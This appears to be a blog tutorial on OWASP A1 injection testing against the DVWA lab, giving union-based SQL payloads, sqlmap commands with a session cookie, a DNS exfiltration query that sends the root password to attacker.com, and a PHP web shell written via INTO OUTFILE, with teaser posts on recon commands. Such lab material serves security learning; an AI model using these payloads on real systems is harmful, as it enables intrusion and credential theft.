Penetration Testing with OWASP Top 10 - 2017 A1 Injection



SQL Injection on MySQL

Blind SQL Injection




6' or '1'='1



Error-based SQL Injection 

1'


Union-based SQL Injection

Find the number of columns associated with the query

1' order by 1,2-- 



1' order by 3--


Based on the error message above, we can conclude that the query only associate with two columns.

Next, we can try to obtain the information using UNION keyword.


Extract Information

 
1' union select group_concat(version(), ' ', database(), ' ', user(), ' ', @@datadir, ' ', @@hostname),2--




Extract More Information


Extract Table Name

1' union select group_concat(table_name),database() from information_schema.tables where table_schema = 'dvwa'--


Another Place to Extract Table Name





Extract Column Name

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'--




To retrieve tables from all database

 
1'  union select table_schema, GROUP_CONCAT(DISTINCT table_name SEPARATOR ', ') FROM information_schema.columns GROUP BY table_schema--



To retrieve columns from selected database 

1'  union select table_name, GROUP_CONCAT(DISTINCT column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_schema = 'dvwa' GROUP BY table_name--
1'  union select table_name, GROUP_CONCAT(DISTINCT column_name SEPARATOR ', ') FROM information_schema.columns WHERE table_schema = 0x64767761 GROUP BY table_name--




 Dump Data From Extracted Table and Column Names

1' union select user, password from users--


"Decrypt" MD5 Value Obtained



 Insufficient of mysqli_real_escape_string() method

1 or 1=1



Exploitation: File inclusion using load_file() function

1' union select load_file("C:\\xampp\\htdocs\\dvwa\\login.php"),null--


Exploitation: Data Exfiltration with DNS using load_file() function
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));




Exploitation: Create file using OUTFILE function

show variables like 'datadir';
select "<?php system($_GET['cmd']); ?>" INTO OUTFILE "../../htdocs/cmd.php";

Automated SQLi using SQLMap

sqlmap -u "http://192.168.66.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ipp0lndfsu08f2ucl0tifm9v25" --dbs


parameter id is injectable
Databases
sqlmap -u "http://192.168.66.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ipp0lndfsu08f2ucl0tifm9v25" --tables -D dvwa

Tables from database DVWA 
sqlmap -u "http://192.168.66.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ipp0lndfsu08f2ucl0tifm9v25" --columns -D dvwa -T users

Columns from table users
sqlmap -u "http://192.168.66.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ipp0lndfsu08f2ucl0tifm9v25" --dump -D dvwa -T users

Data dump with cracked password

 How SQLMap works?
SQLMap will keep sending the request to the target server with User-Agent "sqlmap" by default

Study and Decode URL in Wireshark



Database

SELECT NULL,CONCAT(0x71706b6a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x716b626b71) FROM INFORMATION_SCHEMA.SCHEMATA



Table

SELECT NULL,CONCAT(0x71706b6a71,IFNULL(CAST(table_name AS CHAR),0x20),0x716b626b71) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x64767761)



Data Dump

SELECT CONCAT(0x7162787871,IFNULL(CAST(`user` AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(avatar AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(failed_login AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(first_name AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(last_login AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(last_name AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(password AS CHAR),0x20),0x7a6264797275,IFNULL(CAST(user_id AS CHAR),0x20),0x7176707171),NULL FROM dvwa.users




Reference:
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Popular posts from this blog

Remote Desktop Protocol (RDP) Security

Image
Common Remote Desktop Protocol (RDP) Vulnerabilities Terminal Services Encryption Level is Medium or Low Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness Terminal Services Doesn't Use Network Level Authentication (NLA) Only Terminal Services Encryption Level is Medium or Low Vulnerability Assessment: Host Assessment: Remediation: Local Computer Policy/Computer Configuration/Administrative Templates/Windows Components/Remote Desktop Services/Remote Desktop Session Host/Security/Set client connection encryption level Set client connection encryption level to High Note: High: The High setting encrypts data sent from the client to the server and from the server to the client by using strong 128-bit encryption. Use this encryption level in environments that contain only 128-bit clients (for example, clients that run Remote Desktop Connection). Clients that do not support this encryption level cannot connect to RD Se
Read more

Penetration Testing - Network

Image
Manual Vulnerability Assessment TCP/21: FTP Anonymous FTP Enabled anonymous guest TCP/22: SSH nmap -p 22 --script ssh2-enum-algos <ip_address> SSH Weak Algorithms Supported SSH Server CBC Mode Ciphers Enabled ssh -oCiphers=<ciphers> <ip_address> SSH Weak MAC Algorithms Enabled ssh -oMACs=<algorithm> <ip_address> SSH Protocol v1 Supported ssh -1 <ip_address> -v Hardening on SSH Ciphers aes256-ctr,aes192-ctr,aes128-ctr MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com TCP/23: Telnet Unencrypted Telnet Server telnet <ip_address> 23 TCP/25: SMTP SMTP Service Cleartext Login Permitted telnet <ip_address> 25 EHLO <ip_address> AUTH LOGIN Mailserver answer to VRFY and EXPN requests * nc <ip_address> 25 EXPN root VRFY root TCP/53: DNS DNS Server Cache Snooping Remote Information Disclosure
Read more

Damn Vulnerable Web Services (DVWS) - Walkthrough

Image
Installation Damn Vulnerable Web Services  (DVWS) is an insecure web application with multiple vulnerable web service components that can be used to learn real world web service vulnerabilities. https://github.com/snoopysecurity/dvws WSDL Enumeration Spider DVWS using Burp Suite and look for service.php Requests processed by SOAP service include  check_user_information ,  owasp_apitop10 ,  population  and  return_price XPATH Injection User Login: 1' or '1'='1 User Password: 1' or '1'='1 Command Injection Original Request parameter value of name is " find "   by default  Edited Request change the parameter value of  name  from "find" to " dir "   Cross Site Tracing (XST) Hint of " The NuSOAP Library service is vulnerable to a Cross-site scripting flaw " is given by DVWS. Exploit is published at exploit DB ( https://www.exploit-db.com/e
Read more

Offensive Security Testing Guide

Image
This cheat sheet is the compilation of commands we learnt to exploit the vulnerable machines. The commands below may not be enough for you to obtain your Offensive Security Certified Professional (OSCP). So... Try Harder! Information Gathering Operating System Windows Interesting Path "Documents and Settings"/Administrator/Desktop file:///C:/xampp/readme_en.txt file:///C:/xampp/passwords.txt file:///C:/xampp/webdav/webdav.txt file:///C:/xampp/apache/conf/extra/httpd-dav.conf file:///C:/xampp/apache/conf/extra/httpd-xampp.conf file:///C:/xampp/apache/logs/access.log file:///C:/xampp/apache/logs/error.log file:///C:/xampp/security/webdav.htpasswd file:///C:/xampp/htdocs/dashboard/phpinfo.php file:///C:/xampp/phpmyadmin/config.inc.php file:///C:/xampp/php/logs/php_error_log file:///C:/xampp/mysql/bin/my.ini C:\Users\<User>\AppData\Local\Temp #Email Address C:\Users\<User>\AppData\Local\Microsoft\Outlook Active Connection netstat -anob #R
Read more

Server Message Block (SMB) Security

Image
Common SMB related vulnerabilities Microsoft Windows SMBv1 Multiple Vulnerabilities SMB Signing Disabled Microsoft Windows SMB NULL Session Authentication Microsoft Windows SMB Shares Unprivileged Access Network Discovery: TCP port 5357 - Web Services on Devices API (WSDAPI) File and Printer Sharing: TCP port 135 - Remote Procedure Call (RPC) TCP port 139 - NETBIOS Session Service TCP port 445 - Server Message Block (SMB) By disable NetBIOS over TCP/IP (TCP Port 139), NETBIOS name discovery will be prevented Microsoft Windows SMBv1 Multiple Vulnerabilities Vulnerability Assessment: NSE script smb-protocols can be used to check if the server supported NT LM 0.12 (SMBv1) . Host Assessment: Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters | ForEach-Object {Get-ItemProperty $_.pspath} Remediation: Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
Read more

Host Configuration Assessment - Windows

Image
OS Information Gathering systeminfo wmic computersystem get domainrole 0 - Standalone workstation 1 - Member workstation 2 - Standalone server 3 - Member server 4 - Domain controller secedit /export /cfg cfg.ini > nul net user administrator > netuseradmin.txt auditpol.exe /get /category:* > auditpol.txt netsh advfirewall show allprofiles > firewall.txt net accounts > netaccount.txt gpresult /f /h evid/gporesult.html > nul accesschk /accepteula -q -a * > accesschk.txt *Simplify the process with Scgary ! User Right Assignment type cfg.ini | grep "^SeAuditPrivilege\|^SeCreatePagefilePrivilege\|^SeRemoteShutdownPrivilege\|^SeRemoteInteractiveLogonRight\|^SeEnableDelegationPrivilege\|^SeLockMemoryPrivilege\|^SeDenyNetworkLogonRight\|^SeChangeNotifyPrivilege\|^SeDebugPrivilege\|^SeDenyBatchLogonRight\|^SeCreateGlobalPrivilege\|^SeShutdownPrivilege\|^SeIncreaseQuotaPrivilege\|^SeTrustedCredManAccessPrivilege\|^SeDenyInteractiveLogonRight
Read more